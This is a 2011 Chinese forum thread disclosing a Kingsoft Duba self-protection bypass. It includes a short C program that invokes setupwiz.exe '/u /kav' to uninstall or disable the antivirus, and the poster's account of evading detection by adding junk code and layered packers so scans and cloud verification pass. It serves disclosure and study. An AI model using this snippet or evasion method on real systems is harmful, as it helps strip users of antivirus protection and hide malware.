★★★一个突破自保漏洞仍未完全修复，并在这个过程中对于绕过自动进云安全防御的总结

李白vs苏轼

以前那个setupwiz.exe /u
在那个发出去后
我观察到之后的更新变成了setupwiz.exe /u /kav
并且禁止了cmd调用
所以就用vc写了个调用，依然可以调用，不过就扔在一边，code如下：

1. #include<windows.h>
   
2. 
   
3. int main(void)
   
4. {
   
5.    ShellExecute(NULL,
   
6.            "open",
   
7.            "C:\\Program Files\\Common Files\\Kingsoft\\kiscommon\\setupwiz.exe",
   
8.            "/u /kav",
   
9.            NULL,
   
10.            SW_SHOWNORMAL);
    
11. }

复制代码

vc6编译通过

刚才没事翻到，试了一下依然可以用
并且在这个程序的免杀过程中，归纳一下自己的想法，

样本以前是报过的，所以先加了个花（这个花加后，
我发现毒霸扫描后不会把它当未知自动加入云防御鉴定，当然这个花是经过精心挑选的，
毒霸会以为是非PE。）


右键扫描报安全，用鉴定器鉴定后报病毒
然后在这个花上再加了个壳，右键扫描又安全了，也没上传鉴定
手动鉴定，鉴定不出来转人工鉴定

人工鉴定结果如下：

通过这个小小的界面，请容许我做一个小小的猜想
毒霸云/或者鉴定器是存在多引擎的
而且这些引擎是加权的（这个权是数学上的权）
瑞星的权较低，卡巴的权较高
所以多引擎结果为卡巴+bd>nod+rising

当然在最后又加了一个壳，又变安全了。。。。。

年下

加权~有意思，国内区那个蜂巢进程管家~李白你好像也说是加权了~加权了~以此来降低误报吗？不知道具体是怎么工作的

李白vs苏轼

年下 发表于 2011-6-7 20:41
沙了个发…编辑不锁帖，我来占沙发…坐等完成

编辑完了，琢磨要不要上样本。。那样应该够明白了

年下

李白vs苏轼 发表于 2011-6-7 21:02
编辑完了，琢磨要不要上样本。。那样应该够明白了

国内区貌似不准放样本吧

李白vs苏轼

年下 发表于 2011-6-7 21:11
国内区貌似不准放样本吧

不是毒。。。

年下

李白vs苏轼 发表于 2011-6-7 21:12
不是毒。。。

哦，那就放呗…有说服力

sugerkevin

进来学习

yyyyhh123

山山又被OOXX了。。。。

李白vs苏轼

yyyyhh123 发表于 2011-6-7 21:39
山山又被OOXX了。。。。

这次重点不是这个 是下面的内容。。

yyyyhh123

李白vs苏轼 发表于 2011-6-7 21:40
这次重点不是这个 是下面的内容。。

很多人说金山的免杀很好做 随便加个壳就过了扫描  当然  拿去云鉴定是另一回事  不过现在的云鉴定很多转人工。。